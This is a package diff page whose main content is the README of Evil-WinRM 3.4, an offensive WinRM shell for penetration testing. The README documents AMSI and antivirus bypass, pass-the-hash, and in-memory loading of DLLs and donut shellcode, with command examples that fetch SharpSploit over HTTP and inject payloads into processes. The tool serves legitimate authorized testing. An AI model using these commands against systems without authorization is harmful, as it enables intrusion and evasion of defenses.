evil-winrm 3.3 → 3.4
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/.editorconfig +21 -0
- data/CHANGELOG.md +94 -0
- data/CODE_OF_CONDUCT.md +76 -0
- data/CONTRIBUTING.md +22 -0
- data/Dockerfile +64 -0
- data/Gemfile +3 -0
- data/LICENSE +165 -0
- data/README.md +530 -0
- data/bin/evil-winrm +1 -1
- data/{lib/evil-winrm.rb → evil-winrm.rb} +18 -11
- data/resources/evil-winrm_logo.png +0 -0
- metadata +59 -14
data/README.md
ADDED
@@ -0,0 +1,530 @@
|
|
1
|
+
# Evil-WinRM [![Version-shield]](https://raw.githubusercontent.com/Hackplayers/evil-winrm/master/evil-winrm.rb) [![Ruby2.3-shield]](https://www.ruby-lang.org/en/news/2015/12/25/ruby-2-3-0-released/) [![Gem-Version]](https://rubygems.org/gems/evil-winrm) [![License-shield]](https://raw.githubusercontent.com/Hackplayers/evil-winrm/master/LICENSE) [![Docker-shield]](https://hub.docker.com/r/oscarakaelvis/evil-winrm)
|
2
|
+
The ultimate WinRM shell for hacking/pentesting
|
3
|
+
|
4
|
+
![Banner](https://raw.githubusercontent.com/Hackplayers/evil-winrm/master/resources/evil-winrm_logo.png)
|
5
|
+
|
6
|
+
## Description & Purpose
|
7
|
+
This shell is the ultimate WinRM shell for hacking/pentesting.
|
8
|
+
|
9
|
+
WinRM (Windows Remote Management) is the Microsoft implementation of WS-Management Protocol. A standard SOAP based protocol
|
10
|
+
that allows hardware and operating systems from different vendors to interoperate. Microsoft included it in their Operating
|
11
|
+
Systems in order to make life easier to system administrators.
|
12
|
+
|
13
|
+
This program can be used on any Microsoft Windows Servers with this feature enabled (usually at port 5985), of course only
|
14
|
+
if you have credentials and permissions to use it. So we can say that it could be used in a post-exploitation hacking/pentesting
|
15
|
+
phase. The purpose of this program is to provide nice and easy-to-use features for hacking. It can be used with legitimate
|
16
|
+
purposes by system administrators as well but the most of its features are focused on hacking/pentesting stuff.
|
17
|
+
|
18
|
+
It is based mainly in the WinRM Ruby library which changed its way to work since its version 2.0. Now instead of using WinRM
|
19
|
+
protocol, it is using PSRP (Powershell Remoting Protocol) for initializing runspace pools as well as creating and processing pipelines.
|
20
|
+
|
21
|
+
## Features
|
22
|
+
- Compatible to Linux and Windows client systems
|
23
|
+
- Load in memory Powershell scripts
|
24
|
+
- Load in memory dll files bypassing some AVs
|
25
|
+
- Load in memory C# (C Sharp) assemblies bypassing some AVs
|
26
|
+
- Load x64 payloads generated with awesome [donut] technique
|
27
|
+
- Dynamic AMSI Bypass to avoid AV signatures
|
28
|
+
- Pass-the-hash support
|
29
|
+
- Kerberos auth support
|
30
|
+
- SSL and certificates support
|
31
|
+
- Upload and download files showing progress bar
|
32
|
+
- List remote machine services without privileges
|
33
|
+
- Command History
|
34
|
+
- WinRM command completion
|
35
|
+
- Local files/directories completion
|
36
|
+
- Remote path (files/directories) completion (can be disabled optionally)
|
37
|
+
- Colorization on prompt and output messages (can be disabled optionally)
|
38
|
+
- Optional logging feature
|
39
|
+
- Docker support (prebuilt images available at [Dockerhub])
|
40
|
+
- Trap capturing to avoid accidental shell exit on Ctrl+C
|
41
|
+
|
42
|
+
## Help
|
43
|
+
```
|
44
|
+
Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [--spn SPN_PREFIX] [-l]
|
45
|
+
-S, --ssl Enable ssl
|
46
|
+
-c, --pub-key PUBLIC_KEY_PATH Local path to public key certificate
|
47
|
+
-k, --priv-key PRIVATE_KEY_PATH Local path to private key certificate
|
48
|
+
-r, --realm DOMAIN Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com }
|
49
|
+
-s, --scripts PS_SCRIPTS_PATH Powershell scripts local path
|
50
|
+
--spn SPN_PREFIX SPN prefix for Kerberos auth (default HTTP)
|
51
|
+
-e, --executables EXES_PATH C# executables local path
|
52
|
+
-i, --ip IP Remote host IP or hostname. FQDN for Kerberos auth (required)
|
53
|
+
-U, --url URL Remote url endpoint (default /wsman)
|
54
|
+
-u, --user USER Username (required if not using kerberos)
|
55
|
+
-p, --password PASS Password
|
56
|
+
-H, --hash HASH NTHash
|
57
|
+
-P, --port PORT Remote host port (default 5985)
|
58
|
+
-V, --version Show version
|
59
|
+
-n, --no-colors Disable colors
|
60
|
+
-N, --no-rpath-completion Disable remote path completion
|
61
|
+
-l, --log Log the WinRM session
|
62
|
+
-h, --help Display this help message
|
63
|
+
|
64
|
+
```
|
65
|
+
|
66
|
+
## Requirements
|
67
|
+
Ruby 2.3 or higher is needed. Some ruby gems are needed as well: `winrm >=2.3.2`, `winrm-fs >=1.3.2`, `stringio >=0.0.2`, `logger >= 1.4.3`, `fileutils >= 0.7.2`.
|
68
|
+
Depending of your installation method (4 availables) the installation of them could be required to be done manually.
|
69
|
+
|
70
|
+
Another important requirement only used for Kerberos auth is to install the Kerberos package used for network authentication.
|
71
|
+
For some Linux like Debian based (Kali, Parrot, etc.) it is called `krb5-user`. For BlackArch it is called `krb5` and probably it could be called in a different way for other Linux distributions.
|
72
|
+
|
73
|
+
The remote path completion feature will work only if your ruby was compiled enabling the `--with-readline-dir` flag. This is enabled by default in ruby included on some Linux distributions but not in all. Check [the section below](#Remote-path-completion) for more info.
|
74
|
+
|
75
|
+
## Installation & Quick Start (4 methods)
|
76
|
+
|
77
|
+
### Method 1. Installation directly as ruby gem (dependencies will be installed automatically on your system)
|
78
|
+
- Step 1. Install it (it will install automatically dependencies): ```gem install evil-winrm```
|
79
|
+
- Step 2. Ready. Just launch it!
|
80
|
+
```
|
81
|
+
evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
|
82
|
+
```
|
83
|
+
|
84
|
+
### Method 2. Git clone and install dependencies on your system manually
|
85
|
+
- Step 1. Install dependencies manually: `sudo gem install winrm winrm-fs stringio logger fileutils`
|
86
|
+
- Step 2. Clone the repo: `git clone https://github.com/Hackplayers/evil-winrm.git`
|
87
|
+
- Step 3. Ready. Just launch it!
|
88
|
+
```
|
89
|
+
cd evil-winrm && ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
|
90
|
+
```
|
91
|
+
|
92
|
+
### Method 3. Using bundler (dependencies will not be installed on your system, just to use evil-winrm)
|
93
|
+
- Step 1. Install bundler: `gem install bundler`
|
94
|
+
- Step 2. Clone the repo: `git clone https://github.com/Hackplayers/evil-winrm.git`
|
95
|
+
- Step 3. Install dependencies with bundler: `cd evil-winrm && bundle install --path vendor/bundle`
|
96
|
+
- Step 4. Launch it with bundler:
|
97
|
+
```
|
98
|
+
bundle exec evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
|
99
|
+
```
|
100
|
+
### Method 4. Using Docker
|
101
|
+
- Step 1. Launch docker container based on already built image:
|
102
|
+
```
|
103
|
+
docker run --rm -ti --name evil-winrm -v /home/foo/ps1_scripts:/ps1_scripts -v /home/foo/exe_files:/exe_files -v /home/foo/data:/data oscarakaelvis/evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/ps1_scripts/' -e '/exe_files/'
|
104
|
+
```
|
105
|
+
|
106
|
+
## Documentation
|
107
|
+
|
108
|
+
### Clear text password
|
109
|
+
If you don't want to put the password in clear text, you can optionally avoid to set `-p` argument and the password will be prompted preventing to be shown.
|
110
|
+
|
111
|
+
### Ipv6
|
112
|
+
To use IPv6, the address must be added to /etc/hosts. Just put the already set name of the host after `-i` argument instead of an IP address.
|
113
|
+
|
114
|
+
### Basic commands
|
115
|
+
- **upload**: local files can be auto-completed using tab key.
|
116
|
+
- usage: `upload local_filename` or `upload local_filename destination_filename`
|
117
|
+
- **download**:
|
118
|
+
- usage: `download remote_filename` or `download remote_filename destination_filename`
|
119
|
+
|
120
|
+
__Notes about paths (upload/download)__:
|
121
|
+
Relative paths are not allowed to use on download/upload. Use filenames on current directory or absolute path.
|
122
|
+
If you are using Evil-WinRM in a docker environment, bear in mind that all local paths should be at `/data` and be pretty sure that you mapped it as a volume in order to be able to access to downloaded files or to be able to upload files from your local host O.S.
|
123
|
+
|
124
|
+
- **services**: list all services showing if there your account has permissions over each one. No administrator permissions needed to use this feature.
|
125
|
+
- **menu**: load the `Invoke-Binary`, `Dll-Loader` and `Donut-Loader` functions that we will explain below. When a ps1 is loaded all its functions will be shown up.
|
126
|
+
|
127
|
+
```
|
128
|
+
*Evil-WinRM* PS C:\> menu
|
129
|
+
|
130
|
+
,. ( . ) " ,. ( . ) .
|
131
|
+
(" ( ) )' ,' ( ' (" ) )' ,' . ,)
|
132
|
+
.; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )((
|
133
|
+
_".,_,.__).,) (.._( ._), ) , (._..( '.._"._, . '._)_(..,_(_".) _( _')
|
134
|
+
\_ _____/__ _|__| | (( ( / \ / \__| ____\______ \ / \
|
135
|
+
| __)_\ \/ / | | ;_)_') \ \/\/ / |/ \| _/ / \ / \
|
136
|
+
| \\ /| | |__ /_____/ \ /| | | \ | \/ Y \
|
137
|
+
/_______ / \_/ |__|____/ \__/\ / |__|___| /____|_ /\____|__ /
|
138
|
+
\/ \/ \/ \/ \/
|
139
|
+
|
140
|
+
By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
|
141
|
+
|
142
|
+
[+] Dll-Loader
|
143
|
+
[+] Donut-Loader
|
144
|
+
[+] Invoke-Binary
|
145
|
+
[+] Bypass-4MSI
|
146
|
+
[+] services
|
147
|
+
[+] upload
|
148
|
+
[+] download
|
149
|
+
[+] menu
|
150
|
+
[+] exit
|
151
|
+
|
152
|
+
```
|
153
|
+
|
154
|
+
### Load powershell scripts
|
155
|
+
- To load a ps1 file you just have to type the name (auto-completion using tab allowed). The scripts must be in the path set at `-s` argument. Type menu again and see the loaded functions. Very large files can take a long time to be loaded.
|
156
|
+
|
157
|
+
```
|
158
|
+
*Evil-WinRM* PS C:\> PowerView.ps1
|
159
|
+
*Evil-WinRM* PS C:\> menu
|
160
|
+
|
161
|
+
,. ( . ) " ,. ( . ) .
|
162
|
+
(" ( ) )' ,' ( ' (" ) )' ,' . ,)
|
163
|
+
.; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )((
|
164
|
+
_".,_,.__).,) (.._( ._), ) , (._..( '.._"._, . '._)_(..,_(_".) _( _')
|
165
|
+
\_ _____/__ _|__| | (( ( / \ / \__| ____\______ \ / \
|
166
|
+
| __)_\ \/ / | | ;_)_') \ \/\/ / |/ \| _/ / \ / \
|
167
|
+
| \\ /| | |__ /_____/ \ /| | | \ | \/ Y \
|
168
|
+
/_______ / \_/ |__|____/ \__/\ / |__|___| /____|_ /\____|__ /
|
169
|
+
\/ \/ \/ \/ \/
|
170
|
+
|
171
|
+
By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
|
172
|
+
|
173
|
+
[+] Add-DomainAltSecurityIdentity
|
174
|
+
[+] Add-DomainGroupMember
|
175
|
+
[+] Add-DomainObjectAcl
|
176
|
+
[+] Add-RemoteConnection
|
177
|
+
[+] Add-Win32Type
|
178
|
+
[+] Convert-ADName
|
179
|
+
[+] Convert-DNSRecord
|
180
|
+
[+] ConvertFrom-LDAPLogonHours
|
181
|
+
[+] ConvertFrom-SID
|
182
|
+
[+] ConvertFrom-UACValue
|
183
|
+
[+] Convert-LDAPProperty
|
184
|
+
[+] Convert-LogonHours
|
185
|
+
[+] ConvertTo-SID
|
186
|
+
[+] Dll-Loader
|
187
|
+
[+] Donut-Loader
|
188
|
+
[+] Export-PowerViewCSV
|
189
|
+
[+] field
|
190
|
+
[+] Find-DomainLocalGroupMember
|
191
|
+
```
|
192
|
+
|
193
|
+
### Advanced commands
|
194
|
+
- Invoke-Binary: allows .Net assemblies to be executed in memory. The name can be auto-completed using tab key. Arguments for the exe file can be passed comma separated. Example: `Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'`. The executables must be in the path set at `-e` argument.
|
195
|
+
|
196
|
+
```
|
197
|
+
*Evil-WinRM* PS C:\> Invoke-Binary
|
198
|
+
.SYNOPSIS
|
199
|
+
Execute binaries from memory.
|
200
|
+
PowerShell Function: Invoke-Binary
|
201
|
+
Author: Luis Vacas (CyberVaca)
|
202
|
+
|
203
|
+
Required dependencies: None
|
204
|
+
Optional dependencies: None
|
205
|
+
.DESCRIPTION
|
206
|
+
|
207
|
+
.EXAMPLE
|
208
|
+
Invoke-Binary /opt/csharp/Watson.exe
|
209
|
+
Invoke-Binary /opt/csharp/Binary.exe param1,param2,param3
|
210
|
+
Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
|
211
|
+
Description
|
212
|
+
-----------
|
213
|
+
Function that execute binaries from memory.
|
214
|
+
|
215
|
+
*Evil-WinRM* PS C:\> Invoke-Binary /opt/csharp/Rubeus.exe
|
216
|
+
|
217
|
+
______ _
|
218
|
+
(_____ \ | |
|
219
|
+
_____) )_ _| |__ _____ _ _ ___
|
220
|
+
| __ /| | | | _ \| ___ | | | |/___)
|
221
|
+
| | \ \| |_| | |_) ) ____| |_| |___ |
|
222
|
+
|_| |_|____/|____/|_____)____/(___/
|
223
|
+
|
224
|
+
v2.0.0
|
225
|
+
|
226
|
+
|
227
|
+
Ticket requests and renewals:
|
228
|
+
|
229
|
+
|
230
|
+
```
|
231
|
+
|
232
|
+
- Dll-Loader: allows loading dll libraries in memory, it is equivalent to: `[Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll"))`
|
233
|
+
|
234
|
+
The dll file can be hosted by smb, http or locally. Once it is loaded type `menu`, then it is possible to autocomplete all functions.
|
235
|
+
```
|
236
|
+
*Evil-WinRM* PS C:\> Dll-Loader
|
237
|
+
.SYNOPSIS
|
238
|
+
dll loader.
|
239
|
+
PowerShell Function: Dll-Loader
|
240
|
+
Author: Hector de Armas (3v4Si0N)
|
241
|
+
|
242
|
+
Required dependencies: None
|
243
|
+
Optional dependencies: None
|
244
|
+
.DESCRIPTION
|
245
|
+
.
|
246
|
+
.EXAMPLE
|
247
|
+
Dll-Loader -smb -path \\192.168.139.132\\share\\myDll.dll
|
248
|
+
Dll-Loader -local -path C:\Users\Pepito\Desktop\myDll.dll
|
249
|
+
Dll-Loader -http -path http://example.com/myDll.dll
|
250
|
+
|
251
|
+
Description
|
252
|
+
-----------
|
253
|
+
Function that loads an arbitrary dll
|
254
|
+
|
255
|
+
*Evil-WinRM* PS C:\> Dll-Loader -http http://10.10.10.10/SharpSploit.dll
|
256
|
+
[+] Reading dll by HTTP
|
257
|
+
[+] Loading dll...
|
258
|
+
*Evil-WinRM* PS C:\Users\test\Documents> menu
|
259
|
+
|
260
|
+
[... Snip ...]
|
261
|
+
|
262
|
+
*Evil-WinRM* PS C:\> [SharpSploit.Enumeration.Host]::GetProcessList()
|
263
|
+
|
264
|
+
|
265
|
+
Pid : 0
|
266
|
+
Ppid : 0
|
267
|
+
Name : Idle
|
268
|
+
Path :
|
269
|
+
SessionID : 0
|
270
|
+
Owner :
|
271
|
+
Architecture : x64
|
272
|
+
|
273
|
+
```
|
274
|
+
- Donut-Loader: allows to inject x64 payloads generated with awesome [donut] technique. No need to encode the payload.bin, just generate and inject!
|
275
|
+
|
276
|
+
```
|
277
|
+
*Evil-WinRM* PS C:\> Donut-Loader
|
278
|
+
.SYNOPSIS
|
279
|
+
Donut Loader.
|
280
|
+
PowerShell Function: Donut-Loader
|
281
|
+
Author: Luis Vacas (CyberVaca)
|
282
|
+
Based code: TheWover
|
283
|
+
|
284
|
+
Required dependencies: None
|
285
|
+
Optional dependencies: None
|
286
|
+
.DESCRIPTION
|
287
|
+
|
288
|
+
.EXAMPLE
|
289
|
+
Donut-Loader -process_id 2195 -donutfile /home/cybervaca/donut.bin
|
290
|
+
Donut-Loader -process_id (get-process notepad).id -donutfile /home/cybervaca/donut.bin
|
291
|
+
|
292
|
+
Description
|
293
|
+
-----------
|
294
|
+
Function that loads an arbitrary donut :D
|
295
|
+
```
|
296
|
+
|
297
|
+
You can use this [donut-maker] to generate the payload.bin if you don't use Windows.
|
298
|
+
This script use a python module written by Marcello Salvati ([byt3bl33d3r]). It could be installed using pip: `pip3 install donut-shellcode`
|
299
|
+
|
300
|
+
```
|
301
|
+
python3 donut-maker.py -i Covenant.exe
|
302
|
+
|
303
|
+
___ _____
|
304
|
+
.'/,-Y" "~-.
|
305
|
+
l.Y ^.
|
306
|
+
/\ _\_ Donuts!
|
307
|
+
i ___/" "\
|
308
|
+
| /" "\ o !
|
309
|
+
l ] o !__./
|
310
|
+
\ _ _ \.___./ "~\
|
311
|
+
X \/ \ ___./
|
312
|
+
( \ ___. _..--~~" ~`-.
|
313
|
+
` Z,-- / \
|
314
|
+
\__. ( / ______)
|
315
|
+
\ l /-----~~" /
|
316
|
+
Y \ /
|
317
|
+
| "x______.^
|
318
|
+
| \
|
319
|
+
j Y
|
320
|
+
|
321
|
+
|
322
|
+
|
323
|
+
[+] Donut generated successfully: payload.bin
|
324
|
+
```
|
325
|
+
|
326
|
+
- Bypass-4MSI: patchs AMSI protection.
|
327
|
+
```
|
328
|
+
*Evil-WinRM* PS C:\> #amsiscanbuffer
|
329
|
+
At line:1 char:1
|
330
|
+
+ #amsiscanbuffer
|
331
|
+
+ ~~~~~~~~~~~~~~~
|
332
|
+
This script contains malicious content and has been blocked by your antivirus software.
|
333
|
+
+ CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
|
334
|
+
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
|
335
|
+
*Evil-WinRM* PS C:\>
|
336
|
+
*Evil-WinRM* PS C:\> Bypass-4MSI
|
337
|
+
[+] Success!
|
338
|
+
|
339
|
+
*Evil-WinRM* PS C:\> #amsiscanbuffer
|
340
|
+
*Evil-WinRM* PS C:\>
|
341
|
+
```
|
342
|
+
|
343
|
+
### Kerberos
|
344
|
+
- First you have to sync date with the DC: `rdate -n <dc_ip>`
|
345
|
+
|
346
|
+
- To generate ticket there are many ways:
|
347
|
+
|
348
|
+
* Using [ticketer.py] from impacket
|
349
|
+
* If you get a kirbi ticket using [Rubeus] or [Mimikatz] you have to convert to ccache using [ticket_converter.py]
|
350
|
+
|
351
|
+
- Add ccache ticket. There are 2 ways:
|
352
|
+
|
353
|
+
`export KRB5CCNAME=/foo/var/ticket.ccache`
|
354
|
+
|
355
|
+
`cp ticket.ccache /tmp/krb5cc_0`
|
356
|
+
|
357
|
+
- Add realm to `/etc/krb5.conf` (for linux). Use of this format is important:
|
358
|
+
|
359
|
+
```
|
360
|
+
CONTOSO.COM = {
|
361
|
+
kdc = fooserver.contoso.com
|
362
|
+
}
|
363
|
+
```
|
364
|
+
|
365
|
+
- Check Kerberos tickets with `klist`
|
366
|
+
- To remove ticket use: `kdestroy`
|
367
|
+
- For more information about Kerberos check this [cheatsheet]
|
368
|
+
|
369
|
+
### Remote path completion
|
370
|
+
This feature could be not available depending of the ruby you are using. It must be compiled with readline support. Otherwise, this feature will not work (a warning will be shown).
|
371
|
+
|
372
|
+
#### Method 1 (compile the needed extension)
|
373
|
+
|
374
|
+
Using this method you'll compile ruby with the needed readline feature but to use only the library without changing the default ruby version on your system. Because of this, is the most recommended method.
|
375
|
+
|
376
|
+
Let's suppose that you have in your Debian based system ruby 2.7.3:
|
377
|
+
|
378
|
+
```
|
379
|
+
# Install needed package
|
380
|
+
apt install libreadline-dev
|
381
|
+
|
382
|
+
# Check your ruby version
|
383
|
+
ruby --version
|
384
|
+
ruby 2.7.3p183 (2021-04-05 revision 6847ee089d) [x86_64-linux-gnu]
|
385
|
+
|
386
|
+
# Download ruby source code (2.7.3 in this case):
|
387
|
+
wget https://ftp.ruby-lang.org/pub/ruby/2.7/ruby-2.7.3.tar.gz
|
388
|
+
|
389
|
+
# Extract source code
|
390
|
+
tar -xf ruby-2.7.3.tar.gz
|
391
|
+
|
392
|
+
# Compile the readline extension:
|
393
|
+
cd ruby-2.7.3/ext/readline
|
394
|
+
ruby ./extconf.rb
|
395
|
+
make
|
396
|
+
|
397
|
+
# Patch current version of the ruby readline extension:
|
398
|
+
sudo cp /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so.bk
|
399
|
+
sudo cp -f readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so
|
400
|
+
```
|
401
|
+
|
402
|
+
#### Method 2 (Install ruby to use it only for evil-winrm using rbenv)
|
403
|
+
|
404
|
+
Let's suppose that you want ruby 2.7.1 on a Debian based Linux and you are using zsh. This script will automatize it. You'll need to launch it from the same dir where evil-winrm.rb and Gemfile is located (the evil-winrm created dir after a git clone for example):
|
405
|
+
|
406
|
+
```
|
407
|
+
#!/usr/bin/env zsh
|
408
|
+
|
409
|
+
# Uninstall possible current installed versions
|
410
|
+
sudo gem uninstall evil-winrm -q
|
411
|
+
gem uninstall evil-winrm -q
|
412
|
+
|
413
|
+
# Install rbenv
|
414
|
+
sudo apt install rbenv
|
415
|
+
|
416
|
+
# Config rbenv on zshrc config file
|
417
|
+
echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.zshrc
|
418
|
+
echo 'eval "$(rbenv init -)"' >> ~/.zshrc
|
419
|
+
source ~/.zshrc
|
420
|
+
|
421
|
+
# Install ruby with readline support
|
422
|
+
export RUBY_CONFIGURE_OPTS=--with-readline-dir="/usr/include/readline"
|
423
|
+
rbenv install 2.7.1
|
424
|
+
|
425
|
+
# Create file '.ruby-version' to set right ruby version
|
426
|
+
rbenv local 2.7.1
|
427
|
+
|
428
|
+
# Install local gems
|
429
|
+
gem install bundler
|
430
|
+
bundle install
|
431
|
+
|
432
|
+
current_evwr="$(pwd)/evil-winrm.rb"
|
433
|
+
|
434
|
+
sudo bash -c "cat << 'EOF' > /usr/bin/evil-winrm
|
435
|
+
#!/usr/bin/env sh
|
436
|
+
"${current_evwr}" "\$@"
|
437
|
+
EOF"
|
438
|
+
|
439
|
+
sudo chmod +x /usr/bin/evil-winrm
|
440
|
+
```
|
441
|
+
|
442
|
+
Then you can safely launch evil-winrm using the new installed ruby with the required readline support from any location.
|
443
|
+
|
444
|
+
#### Method 3 (compile entire ruby)
|
445
|
+
|
446
|
+
If you want to compile it yourself, you can follow these steps. Let's suppose that you want ruby 2.7.3:
|
447
|
+
|
448
|
+
```
|
449
|
+
wget -O ruby-install-0.8.1.tar.gz https://github.com/postmodern/ruby-install/archive/v0.8.1.tar.gz
|
450
|
+
tar -xzvf ruby-install-0.8.1.tar.gz
|
451
|
+
cd ruby-install-0.8.1/
|
452
|
+
sudo make install
|
453
|
+
ruby-install ruby 2.7.3 -- --with-readline-dir=/usr/include/readline
|
454
|
+
```
|
455
|
+
Depending of your system it will be installed at `/opt/rubies/ruby-2.7.3` or maybe at ` ~/.rubies/ruby-2.7.3`.
|
456
|
+
|
457
|
+
Now just need to install evil-winrm dependencies for that new installed ruby version. The easiest way is to launch command `/opt/rubies/ruby-2.7.3/bin/gem install evil-winrm`. The gem command used must be belonging to the new ruby installation.
|
458
|
+
|
459
|
+
After that, you can launch safely your new installed ruby to use it on evil-winrm: `/opt/rubies/ruby-2.7.3/bin/ruby ./evil-winrm.rb -h`
|
460
|
+
|
461
|
+
It is recommended to use this new installed ruby only to launch evil-winrm. If you set it up as your default ruby for your system, bear in mind that it has no dependency gems installed. Some ruby based software like Metasploit or others could not start correctly due dependencies problems.
|
462
|
+
|
463
|
+
### Logging
|
464
|
+
This feature will create files on your $HOME dir saving commands and the outputs of the WinRM sessions
|
465
|
+
|
466
|
+
## Changelog:
|
467
|
+
Changelog and project changes can be checked here: [CHANGELOG.md](https://raw.githubusercontent.com/Hackplayers/evil-winrm/master/CHANGELOG.md)
|
468
|
+
|
469
|
+
## Credits:
|
470
|
+
Staff:
|
471
|
+
|
472
|
+
- [Cybervaca], (founder). Twitter: [@CyberVaca_]
|
473
|
+
- [OscarAkaElvis], Twitter: [@OscarAkaElvis]
|
474
|
+
- [Jarilaos], Twitter: [@_Laox]
|
475
|
+
- [arale61], Twitter: [@arale61]
|
476
|
+
|
477
|
+
Hat tip to:
|
478
|
+
|
479
|
+
- [Vis0r] for his personal support.
|
480
|
+
- [Alamot] for his original code.
|
481
|
+
- [3v4Si0N] for his awesome dll loader.
|
482
|
+
- [WinRb] All contributors of ruby library.
|
483
|
+
- [TheWover] for his awesome donut tool.
|
484
|
+
- [byt3bl33d3r] for his python library to create donut payloads.
|
485
|
+
- [Sh11td0wn] for inspiration about new features.
|
486
|
+
- [Borch] for his help adding logging feature.
|
487
|
+
- [Hackplayers] for giving a shelter on their github to this software.
|
488
|
+
|
489
|
+
## Disclaimer & License
|
490
|
+
This script is licensed under LGPLv3+. Direct link to [License](https://raw.githubusercontent.com/Hackplayers/evil-winrm/master/LICENSE).
|
491
|
+
|
492
|
+
Evil-WinRM should be used for authorized penetration testing and/or nonprofit educational purposes only.
|
493
|
+
Any misuse of this software will not be the responsibility of the author or of any other collaborator.
|
494
|
+
Use it at your own servers and/or with the server owner's permission.
|
495
|
+
|
496
|
+
<!-- Github URLs -->
|
497
|
+
[Cybervaca]: https://github.com/cybervaca
|
498
|
+
[OscarAkaElvis]: https://github.com/OscarAkaElvis
|
499
|
+
[Jarilaos]: https://github.com/jarilaos
|
500
|
+
[arale61]: https://github.com/arale61
|
501
|
+
[Vis0r]: https://github.com/vmotos
|
502
|
+
[Alamot]: https://github.com/Alamot
|
503
|
+
[3v4Si0N]: https://github.com/3v4Si0N
|
504
|
+
[Borch]: https://github.com/Stoo0rmq
|
505
|
+
[donut]: https://github.com/TheWover/donut
|
506
|
+
[donut-maker]: https://github.com/Hackplayers/Salsa-tools/blob/master/Donut-Maker/donut-maker.py
|
507
|
+
[byt3bl33d3r]: https://twitter.com/byt3bl33d3r
|
508
|
+
[WinRb]: https://github.com/WinRb/WinRM/graphs/contributors
|
509
|
+
[TheWover]: https://github.com/TheWover
|
510
|
+
[Sh11td0wn]: https://github.com/Sh11td0wn
|
511
|
+
[ticketer.py]: https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py
|
512
|
+
[ticket_converter.py]: https://github.com/Zer1t0/ticket_converter
|
513
|
+
[Rubeus]: https://github.com/GhostPack/Rubeus
|
514
|
+
[Mimikatz]: https://github.com/gentilkiwi/mimikatz
|
515
|
+
[cheatsheet]: https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a
|
516
|
+
[Dockerhub]: https://hub.docker.com/r/oscarakaelvis/evil-winrm
|
517
|
+
[Hackplayers]: https://www.hackplayers.com/
|
518
|
+
|
519
|
+
<!-- Twitter URLs -->
|
520
|
+
[@CyberVaca_]: https://twitter.com/CyberVaca_
|
521
|
+
[@OscarAkaElvis]: https://twitter.com/OscarAkaElvis
|
522
|
+
[@_Laox]: https://twitter.com/_Laox
|
523
|
+
[@arale61]: https://twitter.com/arale61
|
524
|
+
|
525
|
+
<!-- Badges URLs -->
|
526
|
+
[Version-shield]: https://img.shields.io/badge/version-3.4-blue.svg?style=flat-square&colorA=273133&colorB=0093ee "Latest version"
|
527
|
+
[Ruby2.3-shield]: https://img.shields.io/badge/ruby-2.3%2B-blue.svg?style=flat-square&colorA=273133&colorB=ff0000 "Ruby 2.3 or later"
|
528
|
+
[License-shield]: https://img.shields.io/badge/license-LGPL%20v3%2B-blue.svg?style=flat-square&colorA=273133&colorB=bd0000 "LGPL v3+"
|
529
|
+
[Docker-shield]: https://img.shields.io/docker/cloud/automated/oscarakaelvis/evil-winrm.svg?style=flat-square&colorA=273133&colorB=a9a9a9 "Docker rules!"
|
530
|
+
[Gem-Version]: https://badge.fury.io/rb/evil-winrm.svg "Ruby gem"
|
data/bin/evil-winrm
CHANGED